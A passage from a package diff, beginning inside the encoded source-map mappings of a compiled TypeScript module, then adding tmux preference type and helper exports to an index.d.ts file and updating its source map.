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"}
@@ -18,4 +18,6 @@ export type { PrefStore } from './ai-chat-prefs';
18
18
  export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } from './ai-chat-prefs';
19
19
  export type { TerminalNameVars } from './terminal-name';
20
20
  export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
21
+ export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
22
+ export { DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs, } from './tmux-prefs';
21
23
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,YAAY,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAEtC,YAAY,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,UAAU,CAAC;AAC7D,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,MAAM,UAAU,CAAC;AAElD,YAAY,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACnD,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAC;AAElE,YAAY,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAC;AAClD,OAAO,EAAE,YAAY,EAAE,MAAM,WAAW,CAAC;AAEzC,YAAY,EAAE,aAAa,EAAE,SAAS,EAAE,aAAa,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAE9F,OAAO,EAAE,kBAAkB,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAE9D,YAAY,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AACzD,OAAO,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AAE5C,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,MAAM,cAAc,CAAC;AAE9D,YAAY,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AACnE,OAAO,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAE9D,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAE9D,OAAO,EAAE,oBAAoB,EAAE,mBAAmB,EAAE,MAAM,sBAAsB,CAAC;AAEjF,YAAY,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AACjD,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,sBAAsB,EAAE,MAAM,iBAAiB,CAAC;AAErG,YAAY,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AACxD,OAAO,EAAE,yBAAyB,EAAE,oBAAoB,EAAE,gBAAgB,EAAE,kBAAkB,EAAE,MAAM,iBAAiB,CAAC"}
1
